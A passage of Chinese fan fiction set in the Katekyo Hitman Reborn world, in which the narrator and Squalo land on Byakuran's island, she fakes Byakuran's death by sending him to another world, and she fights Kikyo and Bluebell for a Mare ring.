潜水这段路毕竟是为了避开密鲁菲奥雷的防御工事和人员巡查,异常的第一瞬间,我以为是被发现了要开打,指环上的火焰都燃了起来,微弱的光线中让我看到了斯库瓦罗的脸。 虽然是一如既往的不爽脸,眉头也皱得很深,但毫无疑问,他眼里并无警惕,身上的肌肉也并不紧绷,毫无战斗先兆。 他做出了“这不是敌袭”的判断。 “单纯的不走运,遇上了海底火山,我的鲨鱼腹部被烫掉一块。”他揉着额头,“这下麻烦了,这不是人力能轻易对抗的,尤其是在海底就更不可能了,得想办法绕过去。” “我倒是觉得,这件事不用操心。”我放松了下来。 海底火山爆发,精准命中鲨鱼,地壳运动顺便引起了海啸,将鲨鱼推到了另一个方向,完全偏离了原定路线。 哇哦,听上去好熟悉的套路。 这和我穿回来时,被硬生生引向了白花花有什么区别。 卷王发力了。 斯库瓦罗疑惑,“什么意思?” 但马上,更大的推力袭来,鲨鱼在海中旋转跳跃闭着眼,浪从深处翻到海面,人性化地给于了换气和呼吸的机会。 看来这会是一个漫长的旅行过程,至少是斯库瓦罗预留的20分钟氧气所无法到达的地方。 风浪一直在加剧,浮上海面之后情况也没有任何好转。天气也很差,狂风加暴雨,海水甚至一度被卷上了半空。 简直是灾难片《2012》实景拍摄地。 摇晃的鲨鱼完全无法抗拒大自然的力量——或者说是无法抗拒八兆亿卷王的力量,被推到了粗糙的礁石上。 “完全偏航了!”几个小时的连续颠簸,就连斯库瓦罗都吃不消,被持续不断的剧烈摇晃得出现了晕鲨鱼的症状,看上去随时要吐的样子。但他依然坚强地试图从某一个口袋里摸出指南针,想要定位这座孤岛的方向。 但我直接压住了他的手,顺着礁石仰头注视着风雨中的岛屿,“不用那么麻烦,我知道这里是哪。” “……你知道?”斯库瓦罗挑眉,被海水灌湿的头发依然柔顺非凡。 “才刚来过不久的地方,属实是记忆深刻、忘不了。”礁石之上,是被海水侵蚀的陡峭山壁,隐隐可见山壁顶端葱郁的树林,连风雨都没有掩盖的熟悉味道,“我们中大奖了,白兰应该还在这座岛上呢。” 没错,就是六道骸带我偷|渡离开的岛屿,我愿称之为白花花之岛。 兜兜转转,我换了个队友又回来了。 八兆亿卷王真是不死心地想把我推到这里来。虽说雨之指环确实算是一个理由,但真的这么急迫吗? “雨之指环早就是我的囊中之物”这种话说起来有点嚣张,可就目前的形势来说,也没什么不对的,至少完全没有必要用这么大的阵仗将我推到这里来——火山、海啸加飓风,即使对于世界意识来说,这种程度的影响也太直观了。 祂不会想用这么粗糙的手段暴露自己的真实存在。 八兆亿卷王既然能在白花花不断窥探平行世界的行动中隐藏自己、悄悄成长,自然不至于为一个囊中之物展露破绽。 我觉得我比白花花危险多了,也重要多了。如果我不重要不特殊,就无法解释八兆亿卷王袭击穿越司,强行把我坑到这个世界的行为。 祂在搜集7^3石板的白花花和毫无所知的我之间,选择了我——这肯定得有点原因。 现在用这么大阵仗将我定点推送回这座岛屿……难道是转移我注意力的一种方式?祂果然不愿意让我接触7^3石板吗? 让我想想,一个指环和一个石板,后者的分量远大于前者,确实也能解释一部分。 可还不等我逻辑闭环,现实就向我展示了一箭双雕——不,是三雕的可能性。 我和斯库瓦罗摸上岛屿,很快就发现,暴雨中有大队的密鲁菲奥雷聚集在远处的海滩上。 “我就说,白兰在这个地方落脚,密鲁菲奥雷的中心之所在,怎么可能没有充足的守卫。”斯库瓦罗压低身体,躲在礁石后面,“原来队伍都集中在这里了。” 一般来说,防卫队伍应该分散在岛屿的各个方向、各个隘口,甚至要铺垫在岛屿之外的海域里,这样才能确保没有像我们一样的外来者入侵。 但恶劣天气削减了海域力量,剩下的方位嘛——我看着滩涂那里集中的人数,掰着指头算,大概整座岛的力量都被调动过去了。 如此集中的防卫力量,说明一定有什么非常重要的东西,值得这般重视。 货运船……是物品。 什么物品值得密鲁菲奥雷如此大动干戈? 我心里隐隐已经有了那个唯一的答案。 “能看清吗?”我问。 风暴影响着我的视线,但斯库瓦罗却早已习惯了这种战斗环境,眯着眼睛看向了队伍守卫的路途,那个被众人所簇拥的东西,“看上去像是个箱子。” 就在此时,惊雷闪过,直直地打中了海岸线上的货船,将能在恶劣天气航行的大船直接劈成了两半。 “咔”的一声巨响,海岸混乱,人的本能在催促着后退,那个包裹严实的货物也在此之中落地,外表的木板碎裂,露出了被特质玻璃封锁保护的“货物”。 “是石板!”斯库瓦罗瞪大了眼睛。 果然,此时能引起如此重视的货物,只可能是7^3石板。 我们这可不是不走运,而是太走运了。 那什么火山、飓风加海啸,统统都是卷王特制的“幸运”成分。 真·幸运天灾。 难怪祂敢如此嚣张地使用自己的影响力,而完全不怕我察觉祂的本质。 都是因为有7^3石板。 既是我麻痹祂的说辞,又是祂可以拿来搪塞我的挡箭牌。 问就是石板的意志,再问就是有指环插|入的意志越来越强大。 也就是说,八兆亿卷王不仅不担心我得到石板,而且还把石板推到了我面前。 如果是昨天得知这个消息,我大概会说一句“哦吼完蛋,这下大概真的非毁灭世界不可了”,但经过斯库瓦罗刚才的启发,我已经有了心理准备,石板这种外部力量是不会成为世界意识弱点的。 能够撕裂世界意识的,只有组成世界意识的东西。 不过,八兆亿卷王对7^3石板的需求也很直观,祂与它之间有联系也是必然的,只是没有到致命的程度。 更何况我还需要石板来催动7^3的力量,把时间线拨正,所以石板我是肯定要抢的。 但不是现在! 我眼疾手快,压住了已经打算狠狠战斗的斯库瓦罗。 说好的偷袭呢,说好的暗杀部队呢! “等等!”我徒手抓刀,暴雨掩饰着我和斯库瓦罗的小动作,“不是现在。” “他们的队伍散了,现在就是很好的机会,机不可失!”斯库瓦罗拿出蓝色的匣子,匣子上绘制的Q版鲨鱼还挺可爱,“不用担心撤离问题,我们抢了东西马上就走,这样的风雨会帮我们掩盖行踪。” 再强大的人,也无法在这种天气下的大海行动自如。 我依然坚定地摇头。 我觉得发现石板的契机太快了,反而说明八兆亿卷王的推动,绝不仅仅是为了石板。 当然石板是目的,但不是唯一目的。 货船很显然漂泊了很久,刚刚到港,我和斯库瓦罗也是一样。已知,这天灾海啸多半就是八兆亿卷王的影响力在作祟,那么,我们和货船同时在海上漂泊的这几个小时里,为什么不用海浪制造偶遇。 很显然,我们现在在海岸上面对的敌人,要比在海洋上面对的敌人多得多。同时,八兆亿卷王的影响力在海洋上也更容易发挥作用。 如果是在深海区撞上,得到7^3石板甚至可以完全避开战斗。 世界意识的影响力更容易表现在非人的自然因素上,“人”这个概念对祂来说就是个不可控因素。 没有谁会喜欢不可控因素。 那,为什么要引导我们在海岸相遇。 只有一种解释,海岛上还有八兆亿卷王的需求。 我略一思索,开口道:“真六吊花的蓝铃也在岛上,雨之指环也在岛上。” 但正如前面所说,单一指环的分量着实不算重,尤其是和石板比起来——为了一个雨之指环而用7^3石板冒险? 我不认为这是卷王的目的。 斯库瓦罗没有强硬地反抗,不是因为他有多忌惮我,而是因为瓦利亚那“人有多大胆地有多大产”的原则,有一石二鸟的机会就绝不一石一鸟。 “说得对,”斯库瓦罗收起了战斗姿势,恢复了侦测状态,“既然7^3石板这么重要,那它一定能领着我们,到白兰的面前。” 他咧开一个势在必得的夸张笑脸,剑上的寒光几乎近到要刺伤我,“趁他病要他命,突袭暗杀了他。” 那一天,斯库瓦罗终于想起了,自己所属队伍的名称,瓦利亚独立暗杀部队。 暗杀才是本职。 杀了白花花,杀了……白兰。 我瞪大了眼睛,杀了白兰! 蓝铃和雨之指环或许没有和7^3石板匹敌的价值,但白花花却有! 即使剥离掉玛雷指环的直接效果,他也有穿越平行世界的能力和适格体质,同时他还有着常人所不拥有的天马行空。 在无数个相同世界的微妙变化中,他大概是除我以外,唯一一个有可能会察觉到世界意识异常的人,也是刺激八兆亿卷王滋生自我防卫意识的源头之一。 没有谁会喜欢不可控因素…… 如果我是卷王意识,我也会想要扼杀这个不可控因素。只要有机会,我就会迫不及待地动用一切影响力消灭他。 我低头,看向了自己手指上戴着的大空玛雷指环——特别是他的特殊地位可以被取代的时候。 上一次,我其实就拥有杀了白花花的机会,但是我自己放弃了。 然后没过多久,八兆亿卷王就又把我送回来了。 我终于意识到了,世界意识想要让白兰死。 祂甚至是急迫地需要他死。 连我开头那千次穿越甩锅给白花花的仇恨值,此时似乎也成为了让我亲手杀他的心理铺垫。 在以前的穿越——不论是在什么样的意外中穿越,我从来没有在遇上某人之前就起杀心,毕竟杀人这种事,也不是说开口就马上能做到的。 但这一次,从心理铺垫到执行过程,世界意识却连杀戮之路都给我铺好了。 可见八兆亿卷王,是有多恨——或是忌惮,白花花。 嗯……耐人寻味。 第125章 所谓敌人的敌人就是朋友——这句话是永恒的真理。 如果八兆亿卷王一定想要我杀死白花花, 我反倒觉得,白花花不能死了。 叛逆心理大爆发。 在岛上潜行跟踪的时候不宜说话交流,我憋着一口气, 暗戳戳地观察斯库瓦罗。 虽然理智上来分析, 以瓦利亚的作风、以斯库瓦罗性格,说出那句要杀白花花的话实在正常。站在彭格列统一战线的立场,作为白花花的敌人、作为一个暗杀部队的二大王, 他如果想要对白花花手下留情,那才是脑子有泡、出了毛病的行为。 但是,我现在的神经质实在是无药可救,我唯恐自己忽略某个细节、小瞧八兆亿卷王意识的能力。所以我抑制不住地怀疑, 斯库瓦罗究竟是自己想要杀死白花花, 还是说他在某种程度上受到了世界意识的影响。 我热烈的眼神,紧紧盯着斯库瓦罗的后背,忍不住思考—— 万一呢? 万一呢! 世界意识是从人类意识中诞生出来的,是世界主线走向的抽象化聚合。像斯库瓦罗这样的人,绝对算得上是构成世界意思的“火焰”之一。 如果祂想要影响真实存在的、拥有自我意识的人, 我要如何才能发现? 我抿着嘴, 恨不得把斯库瓦罗的肉|体剥开,去细细研究他灵魂的每一个角落。 而作为一个杀手、一个强大的剑术大师, 斯库瓦罗对注视、窥探都非常敏感。我的眼神太过于炽热, 以至于他多次本能回头,甚至举起了刀。 但理所当然的是, 他每次回头都只能看到我。 斯库瓦罗额上的青筋肉眼可见的越发清晰, 清晰到我甚至能看到他血管下咕咕流动的血液、能够感受到心跳血管上的传递。 他现在一定被我盯得焦虑极了。 我毫不怀疑, 一会儿在暴雨掩饰下潜入岛上的临时基地后, 他会毫不犹豫地、一秒都不等地冲出去大战特战。 瓦利亚人特有的发泄渠道, 战斗、战斗、战斗! 艾伦直呼内行。 在这种状态下,想要把白花花摘出来可没那么容易,现在还不是和八兆亿卷王翻脸的时候,但我又实在是找不出一点保护白花花的正当理由。 更让人焦虑的是,行程太过顺利,我已经能够看到临时基地的房顶了。世界意识果然在推动这件事,即使我几次故意发出了声音,却依然没有任何守卫发现我和斯库瓦罗的存在——暴雨掩埋了一切。 而这种真正的潜入让斯库瓦罗的暗杀之魂在燃烧,战意更加激烈。 这样的他让我觉得白花花必死无疑。 当然,没有瞧不起白花花战力的意思。 让我换一种说法,有世界意识加成的狂战士斯库瓦罗,现在完全是一副神挡杀神佛挡杀佛的模样。 思考的时间快不够了。 得尽快想出个能保护白花花的策略来。 从想要干掉白花花到想要保护白花花之间,只隔着区区八兆亿个世界。 八兆亿个世界……等等,把白花花丢到其他世界的计划可行吗? 嗯——不太行,卷王本身就是从平行世界里卷出来的,把没有指环的白花花丢到其他世界,和纵容羊入虎口没有任何区别。 到那时卷王意识只需要无限打乱八兆亿个世界的位置,就能让白花花永远迷失在平行线上。 家教之内的平行世界大概是不安全,但……家教之外的平行线呢? 我脑内灵光一闪,摩挲着指环的手指上移,抚在了手环的表面。 这是坏主意,这绝对是个有史以来最坏的主意,没有之一!哪怕是我,也没有做过更坏的决定了! 可我和斯库瓦罗此刻已经趁着惊雷断电而进入了基地内部。 顺利得可怕。 没想到有一天,幸运会变成如此可怕的东西。 没有时间寻找更稳妥的方案——不,应该说在和世界意识为敌那一刻起,我就已经失去了和“稳妥”这个词的所有缘分。 我把袖子拉低,手指在手环表面滑动,发送信号—— “他们把石板送进去了。” 斯库瓦罗突如其来的声音吓得我肩膀一颤。他的回头毫无征兆,我的做贼心虚则写在脸上。 好在战意上头的斯库瓦罗也没有在意我的异常,而是本着暗杀精神,尽可能地言简意赅,“你赶上去夺石板,我去杀白兰。” “等等!”我赶紧拽住他,“你知道白兰在哪吗?” “这是标准地基地布局,核心位置一目了然。” 好家伙,这个临时基地还是个样板间。 不行,我得把工作抢过来。 “白兰未必在核心位置。”我说得有理有据,“但我觉得蓝铃肯定粘着他。玛雷指环之间有共鸣,我能找到蓝铃。而且白兰作为玛雷指环的适格者,只要距离足够近,也能有呼应感知——我去杀白兰,你去抢石板。记住,不要让火焰接触7^3,最好也不要把它取出玻璃罩。” 玛雷指环之间有呼应和联系是真的,否则我也没机会“天降正义”。 但,想要在借助指环联系,来直接定位一个人却是夸张了——不过,斯库瓦罗并不知道这一点。 单独行动是我实施计划的前提,这个世界上所有的人都可以是世界意识的耳目——真是有趣又矛盾,祂的影响力似乎更多表现在非人类的因素上,却又只能以人类意识为耳目。 “而且7^3石板附近的人太多了,我是更擅长一对一的类型。”我补了一句。 事出紧急的好处就在于,不仅是我没有时间细想,别人也一样没有。 斯库瓦罗没多犹豫就接受了我的说辞,他没见过我打群架,但却见过我和白花花、我和石榴的两次单独战斗,几次一对一的战果都很可观。 我感受到了手环的震动——谢天谢地,这条路是通的。 这下,我连笑容都真实了许多。 我松开袖口做好准备,在备用电源微弱的光线下点燃了火焰,在柔和的橙光中和斯库瓦罗分道扬镳。 临行之前,我还不忘叮嘱,“啊,对了——动静闹大点也没有关系,但拿到7^3石板之后就不用来找我了,直接去海岸等我。我的动静可能会……嗯,非常大。” 第126章 我对斯库瓦罗说的, “可以用指环和指环之间的共鸣找到蓝铃和白兰”这件事是假的,玛雷指环之间的联系只有在面临平行世界出现的时候,才能发挥出最好的效果。 但是, 我寻找白花花, 事实上不需要任何“效果”,世界意识自然会把我引导到需要我出现的位置。 诡异的幸运无法改变,那就至少要学会利用它。 手环隐隐传来震动, 我一边快速行动,一边趁着没人赶紧确认手环震动传来的消息。 很快,就不断有各种意外——包括但不限于设备损坏、灯光闪烁、甚至是密鲁菲奥雷白魔咒的小兵突袭,来为我开路。 看来, 八兆亿卷王完全没有怀疑我寻找白花花的目的, 祂在不遗余力地帮助着我,如果这是一座迷宫,那世界意识就是我的导航攻略。我大概没有多走一步路,甚至在踹开最后一扇门前,我就已经无端地意识到, 门后就是白花花的藏身之地。 说是“藏身”其实也不够准确, 白花花并不算是在藏,这毕竟是他的基地。但毫无疑问的是, 他此时尝试在平行世界里寻找答案的状态, 确实是一种需要保护的状态。 出于这种保护需求,他身边也确实聚集着真六吊花中的两位——一个是真六吊花之首, 桔梗。作为真六吊花中应变能力最强的人, 即使失去了玛雷指环, 可在这样一个储藏着无数备用指环的基地里, 他依然能够发挥出八成的实力。 八成的桔梗, 就已经是大多数人难以望其项背的强者了。 当然,除了实力强大的桔梗,唯一还拥有玛雷指环的蓝铃无疑也在白花花的身边。或许,这种对玛雷指环的需求,是出于指环与指环的联系,白花花何尝不想要通过玛雷指环之间的联系,通过雨之指环来找回大空呢? 也或许是,玛雷指环在此,只是为了成为白花花在平行时空中搜索新攻略的一个介质。 白花花作为适格者,对平行时空的适应能力确实先于玛雷指环本身。但拥有玛雷指环和不拥有,在平行时空探索的难度上,却完全不是一个级别。 恶劣的天气和外力的入侵早就已经传到了这个特殊的房间之中,此时我一踹门,还不用看清里面的环境,就有两团交织的火焰扑面而来。 蓝色的雨之火焰率先出击,浓烈的潮湿感在刚刚经历过暴雨肆虐的鼻腔里,充斥得更加明显。雨的属性是镇静,如此大量的镇静之火瞬间便延缓了我的动作、呼吸甚至是心跳。 而被雨之火焰环绕在内的紫色火焰则在我身体延缓的瞬间化出龙头,迅猛龙的脖子仿佛无限延长,在雾之火焰无限增殖的推力下,游龙一般穿梭在雨炎之中,闪电般袭来,以我的脖颈为中心,向上想要嚼碎我的脑袋,向下想要剖开我的胸口——瞄准得全是要害。 桔梗没有任何活捉袭击者、击败袭击者的意图,他就是要杀死一切跨过这道门的生物——人或是匣兵器,只要来,就得死。 他们未必能精准确认入侵者就是我,毕竟极端天气导致了海岛基地的半瘫痪。但他们连我的脸都没有看到,就发动了如此强力的进攻。 如此应激,必有原因! 我一手抓住最先扑来的迅猛龙头,中指套着的大空玛雷开始溢出橙色的焰光。但不等我有任何只会,火焰就逆着我向后退的方向,像是被什么吸引着一样,向内飘动。 我马上就意识到,这是玛雷指环和适格者之间的呼应! 白花花果然就在里面! 起初只是飘动,但紧接着,在我没有继续催动指环的情况下,大空之炎突然大涨——不是我在催动指环,不是我的觉悟甚至不是我的「书」。 是大空的玛雷指环与其适格者之间的剧烈联系,催生出了大空之炎。 不对,即使是这个距离,也不应该有如此剧烈且快速的反应。 我快速地思考。 这不可能是八兆亿卷王的操作,祂的强大之处只在于影响力。却不能在事实上直接操控这个世界,尤其是玛雷指环这种世界基石——它是7^3石板的一角,卷王无法直接点燃它。 如果不是八兆亿卷王,那就只能是白花花自己。 我瞪大眼睛,瞳孔骤缩。 这一定是是白花花自己在操控的玛雷指环,即使指环不在他手上、即使他并不知道踹门的正是拿着他指环的我,但无意识的行动依然刺激到了指环本身。 他毕竟不是第一天拥有指环,在平行时空之中,白花花和玛雷指环建立过八兆亿次联系,而白花花本身又是能联系平行世界的特殊体质——这样强烈深邃的羁绊,是任何人都无法比拟的。 更何况——我还不能算是这个世界的人,不属于这个世界的我、没有被这个世界所同化的我,自然不可能真正取代或是截断白花花和玛雷指环之间的联系。 当然,更重要的是,就在我踹门的瞬间,就在我尝试将自己空白的力量推入指环进行力量转化的那个瞬间,白花花也正在利用自己适格者的特殊体质,窥探着平行世界。 我脑内灵光“piu”的一闪,迅速意识到,这个过程本身就是白花花无意识使用、催动玛雷指环的过程。他就是因为这个特殊的适格者体质才被玛雷指环选中的! 在种种因素的交织下,在这个距离中,戴在我手上的玛雷指环,回应了他。 ——这是个绝好的机会!主动使用平行时空能力的白花花,无疑是将自己的穿越适格者的体质推到了顶点! 不论是主动还是被动,这都是个穿越的好时机! 暴涨的橙色火焰燎过我掌下的迅猛龙,密集的龙头顿时石化,大空的固态遏制住了云炎的增殖属性,一瞬间便将和云之火焰连接的备用指环都烧成了石块。 如果不是桔梗的反应足够快,恐怕连他的手指、手掌甚至是他自己,都会和指环一起,被“调和”成石块。 白花花大空之炎的侵略属性,可比纲吉的强多了。 石化了进攻性强的迅猛龙,大空的属性却仍没有停下的意思,反而愈演愈烈,将雨的“镇静”煮沸。拥有玛雷指环的蓝铃大概是最先感觉到大空之炎来源的人。她能感觉到指环上隐隐传来的灼热感,也知道夺走了大空指环的人是我,所以是她最先判断出,被火焰遮挡的入侵者的身份,是我。 我给她带去的阴影着实不少。 下一秒,蓝铃的指环上不假思索地爆发出巨量的火焰,她挡在白花花面前,没有多思考、多犹豫便压出了自己身体内能够调动的全部力量。 大空之炎毕竟是被白花花所催动,燃烧的火焰自然会奔向白花花的本体,但这个画面在外人看来,无异于一种直白的攻击。 蓝铃全力以赴,用全部的觉悟保护着白花花。 与此同时,在这种激烈的反抗之下,大空的火焰也在持续暴涨,几乎呈毁灭之势,席卷了整个房间。 墙面在石化中开裂、地面在震动、天花板上有灰尘和碎石掉落——这个对火焰有特殊防御效果的房间,在如此激烈的火焰交锋中,却也只维持了几秒钟的稳定。 “轰——!” 一声巨响,冲天的火光将屋顶掀飞,恶劣的天气呼啸而来,可却迅速在橙色的火焰中化为雾气。不知是不是同样的暴雨给了蓝铃灵感,她挥动手臂,甩动的鱼尾将这些自然之水也收集起来,蓝色的火焰注入水珠之中,无害的雨水瞬间凌厉起来。 雨点的战斗效果完全不局限于自己的大小,几颗水珠几乎就能将一整面墙穿成碎片,蓝铃将这种恶劣环境转化为了自己的优势,如鱼得水游荡在暴雨之中。这样进一步扩大的战斗效果,很快便将数个房间夷为平地。 但,混乱的战场,其实对我而言更有利,我就是希望越乱越好——毕竟,我的目的可不仅仅是打败蓝铃而已,我的敌人是世界意识中的八兆亿卷王。每个有意识的人的眼睛,都可能成为祂的眼睛,只有乱,才能让祂看不清我的行动。 当然,在乱之前,完全被掀开的基地带来的首先是一览无余的环境。如此毫无阻碍的视线之中,桔梗自然马上就看到了我的脸。 他判断着战场形势,没有和蓝铃一起局限于眼前的正面战场,而是越过残壁断垣,绕到了我的背后。 这是想要前后夹击了啊。 我并不着急,心念一转,将我自己的力量也注入指环之中、持续加码。霎时间,橙色的火焰如龙卷一般,冲天而起,极速扩张的焰心毫不留情地吞噬掉前后的云雨两种属性的火焰——大空,是容纳一切的天空,任何天气、任何属性都可以被容纳在天空之中。 换而言之,大空不仅仅可以石化,还可以吞噬—— 我似乎在不自觉中,抄袭了大主角纲吉同学的「死气的零地点突破·改」,在蓝铃和桔梗的警惕里、在他们二人的全力以赴中,环绕着我的大空之炎达到了一个前所未有的顶点。“冲天而上”已经不再是个形容词,橙色的火焰字面意义上的冲上了天空,将乌云击散。 雨在落地之前就已经被蒸干,但温度急剧变化带来的暴风却进一步增强,吹得人睁不开眼睛。哪怕是蓝铃和桔梗,都感到前所未有的棘手。 任何人、任何属性的火焰,只要出现,就会迅速被这股波及全岛的暴风卷走,吞噬同化。如此一来,暴风反而越来越大、越来越具有毁灭性。 “咔——咔——!” 地面被火焰灼烧、石化、开裂。 不仅仅是基地的地板,而是整个岛都裂开了一条深深的沟壑——不,甚至不止一条,四处都在承受着暴风的撕裂。 透过一道道数不清的沟壑,海水翻滚涌入,宛如世界末日。 ——不能使用火焰,否则只会让敌人越来越强;但如果不使用火焰,人类的身体如何能在这样恶劣的暴风中生存? 在如此混乱之中,任何人都不安全,任何人都无法反击,任何人都无力分神注意其他地方。 除了处在“台风眼”中的我。 我扫视周围,迅速确认了目标位置——白花花就在左前方! 没有其他人注视着我,意味着世界意识也不能直接通过某一个人的意识注视我、感知我——这样的机会不多,就是现在、就是这个时候! 我绕开已经自顾不暇的蓝铃,无视地形变化,直勾勾地冲向了白花花。“台风眼”就是我手上的玛雷指环,我的移动,意味着整个暴风风向的变化,如此一来,突变的风向直接将地面的草皮和树木全数掀开,软嫩的泥土之下,硬质的石块也无法幸存,接连碎裂,坠入海中。 泥沙混杂着石碎,木屑交织着草丛,将火焰填得浑浊。遮天蔽日的黑暗里,我精准抓住了白花花的手腕,对上了从未在他脸上出现的无措。 紧接着,火焰通过我将白花花点燃,手环烫得灼人,只是须臾呼吸之间,这个未来篇的大BOSS就生生烧灭在我眼前,不留痕迹。 只有一块基地碎板上的焦黑脚印,隐约昭示着他曾经的存在。 第127章 火焰熄灭、狂风平息, 等烟雾散去之时,基地已然变成了一片废墟。基地防火加厚的特殊材料将密鲁菲奥雷的虾兵蟹将们埋在下面。 公平点来说,这些人能被安排在白花花的身边, 都至少是小队长级别的兵将, 并不是真的小喽啰。这些物理材料不会压死他们,但如果没有这些重压,刚才极端恶劣的天气就有可能会将他们卷到天上, 甚至撕裂他们的身体。 但对于原本就不会被飓风威胁性命的人来说,坍塌的基地、蒸发的水雾、飞扬的尘土混杂在一起,就成了进攻和反击的阻碍。 火焰的痕迹散去,基地废墟的中心, 就只剩下了一个我。 桔梗和蓝铃分别在我前后相对的两个不同方位, 面对面的视线交换里,他们震惊的视线焦点,落在了相同的地方——我面前地面上的焦黑痕迹,它正勾勒着白花花曾经存在过的痕迹。 “白兰……大人?” 桔梗满是不可置信、不敢相信。他比蓝铃更快地意识到了现状,用力地感知, 周围却已经没有了那个最熟悉的气息, 唯独充斥着连海洋的湿咸都无法掩盖一股浓郁的焦糊味。 火焰曾经剧烈地燃烧过。 而且,桔梗很清楚, 像大空之炎这样温度极高的火焰, 如果灼烧的对象强度不够,就连这样的焦痕都不会留下, 更别提这样刺鼻的味道。反之, 留下了这样的痕迹, 必然就是有很强大的东西被烧掉了。 比如白花花。 我在抓到白花花的瞬间, 就已经意识到, 他手上也有备用的大空指环。 只不过,破坏了这枚备用指环的人不是我,而是白花花自己。 谁让这个距离里,玛雷指环回应了他的觉悟呢? 7^3石板上的三组空位,都是世界基石的一部分,玛雷指环在燃烧中会破坏任何与它争夺位置的力量,尤其是在平行时空探索这个议题上。 但是,这并不代表着桔梗闻到的味道,就是指环的味道——当然,那也不是炭烤白花花的味道,而是一个出乎预料的、玛雷指环燃烧空间裂痕的味道。 这是我也没有想到的,玛雷指环的空间属性比我想象当中还要强力,它似乎对一切空间感知都非常敏感。 为了瞒过八兆亿卷王的眼睛,我确实没有留手,当火焰将白兰包裹起来的时候,我想的也确实要给他一些实质性的伤害,否则无法糊弄八兆亿卷王。只是没想到,它对“穿越”比对“攻击”,敏感多了。 不过祸福相依,灼烧空间带来的影响意外的好,玛雷指环爆发时的穿越属性,完全可以掩盖住我的手环的波动。就连白花花,都不会有机会反应过来,八兆亿卷王自然也绝没有机会借着白花花的意识,察觉到我的计划。 我现在只希望,这个火焰没有烧到我基友的屁股上。 应该不会吧……如果是在穿越司的话,我觉得大概会是宰子哥首当其冲。 如果是烧他的屁股,那我希望基友能帮我记录下那精彩的瞬间。 不管是烧谁的屁股,都是之后才要面对的事。现在摆在我面前的,是一个恍惚的桔梗,和一个暴怒的蓝铃。 如果说桔梗还保留有一丝理智,能够理智的思考,此时和我战斗少有胜算,那蓝铃便是处于一种绝对上头的状态。她已然不再去考虑得失,甚至不考虑生死。 因为在她的视角里,她所信仰的白花花已经死掉掉了。 “你竟然敢把白兰——!!!”她身体当中无端地涌起一股新的力量,原本被榨干的觉悟转化成了一种悲愤,手上玛雷指环的小翅膀张得巨大,指环正中心那象征着“雨”的宝石将蓝铃的眼睛点得和宝石一样亮。充盈的蓝色沿着眼角蔓延开来,将她透亮皮肤下的血管染成了火焰的颜色。 火焰般的血液在身体内奔涌流动,最终汇聚在胸口—— “咔!” 蓝铃胸口的修罗匣子被过量的火焰撑得爆裂,黑洞洞的匣口处涌出如海一般的流光。紧接着,流光便沿着被匣子碎片刺伤的皮肉钻入深处,和蓝铃的心脏融为一体。 “我要杀了你!”更准确地来说是想要和我同归于尽。 她此刻的情绪是绝对真实的,这样发自内心的情绪无法伪装的——只有这样的蓝铃,才能给卷王传递出最真实的假信息。 但——要是让指环和她的身体完全融合,那就真的成了字面意义上的燃烧生命! 恻隐之心是一方面,另一方面则是她的存在对于我计划的未来是必须的。 于是,我没有再停留,一马当先地冲了上去。 身后的桔梗也如梦方醒,大概是蓝铃充满愤慨的声音也刺激到了他的神经,他迅速更换新的备用指环,长长的头发和增殖的火焰融合在一起,像是有生命的触|手,从我身后袭来。 最快的一只迅猛龙头毫不客气地咬在我的腰上。 我腰眼一痒,被袭击的痒痒肉震麻了我半边身体,汗毛直竖,让我差点没绷住。 不好,要笑出来了! 在我回头之前,我捕捉到了一丝被切开的风声——哦,桔梗太过关注我了,以至于他没有意识到,我还有其他队友在。 “VOI——!” 坍塌的基地消除了一切地形桎梏,自然也包括被我支开去夺取7^3石板的斯库瓦,只是专注于我的桔梗显然没有注意到他。 剑帝的剑,主打的就是一个快。 我甚至连头都没有回,桔梗的攻击就被一跃而来的斯库瓦罗斩断。我没浪费时间去扒拉身后的龙头,就这样带着一条还在流血——不对,是流“云之炎”的迅猛龙头,给了蓝铃一个猛烈的头槌。 目标正中她胸口的匣兵器。 来自于「书」的纯白的无属性力量沿着匣兵器的缝隙钻入,迅速渗透到深处。我的力量并没有在蓝铃的身体里形成破坏性的力量,它只是紧贴着蓝铃的血管内壁,将火焰和蓝铃的身体隔绝开来。 只有这样,蓝铃才至于燃尽自己。 当然,被外力入侵的感觉,绝对不好受。 蓝铃瞪大了眼睛,眼球内的红血丝都被我入侵的力量浸成了白色。她的身体本能在拒绝和反抗,但就像白细胞和病菌的战斗一样——将身体作为战场带来的影响,永远只会有身体的主人来承受。 蓝铃的体温在剧烈上升,张开的喉咙深处发出了人耳所能捕获的频率之外的哀嚎,但听不到的声音反而更让人心颤。 我果断抓住她的玛雷指环,只要断掉火焰的供应,这种让他排异的力量就可以马上撤出。 可就在指环摘到她的第二指节的瞬间,高烧的蓝铃意识到了我的目的。但她的匣兵器已经被抑制,鱼尾的每一片鱼鳞间都夹杂着我抑制她火焰的力量。这个瞬间,出于最底线的本能,她只能用攥紧拳头,阻碍指环的摘离,同时缩起身体、伸长脖子,一口咬在我的手腕上。 超级用力的一口! 我怀疑她的匣兵器状态不仅仅给予了她鱼的尾巴,还给了她鱼的牙齿——特别备注,是鲨鱼的牙齿。 蓝铃下了狠口,像是想要直接将我的手腕咬下来吞掉一样,我甚至听到腕骨被咬断发出的“嘎吱”的瘆人声音,我的手腕顿时鲜血横流。 余光之中,背后的斯库瓦罗已经和桔梗缠斗起来,但除了最初那一击的先手优势之外,他完全落于下风。 原本,桔梗本身的强度就远在斯库瓦罗之上,再加上被哀毁愤慨所刺激的觉悟,斯库瓦罗绝不能和他久战。 更何况,斯库瓦罗还得保护胳膊里夹着的7^3石板,保护石板不被再次夺走是他的第一目的,故而不得不以防守为主。只是,他的剑向来一往无前,一旦有了顾忌,战斗力就会大打折扣。 思之,我直接抓住玛雷指环就强行向外扯。 蓝铃大概没有想到,我竟然一点都没有想要保护自己的意图。说实话,这样的事我经历得多了,不过是断一次手腕而已,而且往好处想想,我的血液涌出,浇在蓝铃的手上,滑腻的液体将她的手难以严丝合缝地攥紧,湿润指节反而让指环的摘取更加容易。 我收缩身体,一脚踩在她的肩膀上用力——只听“撕拉”一声,她的手指被指环的翅膀边缘刮开一道血痕,当然同时,她也咬下了我一半的手腕。 嘶——我看着手腕内的森森白骨,我的手腕不疼,但我的眼睛疼——看着疼。 “轰!” 天空一声惊雷,才刚刚被击散的乌云逆反地重聚起来,将太阳重新遮挡。 与此同时,被埋下基地下面的小兵也似乎意识到了极端恶劣天气的结束,接连不断地翻了出来。顿时,各色的火焰在基地各处燃起。 最引人注目的,无疑就是那团剧烈的晴之火焰——这个火焰量级,只能是雏菊。 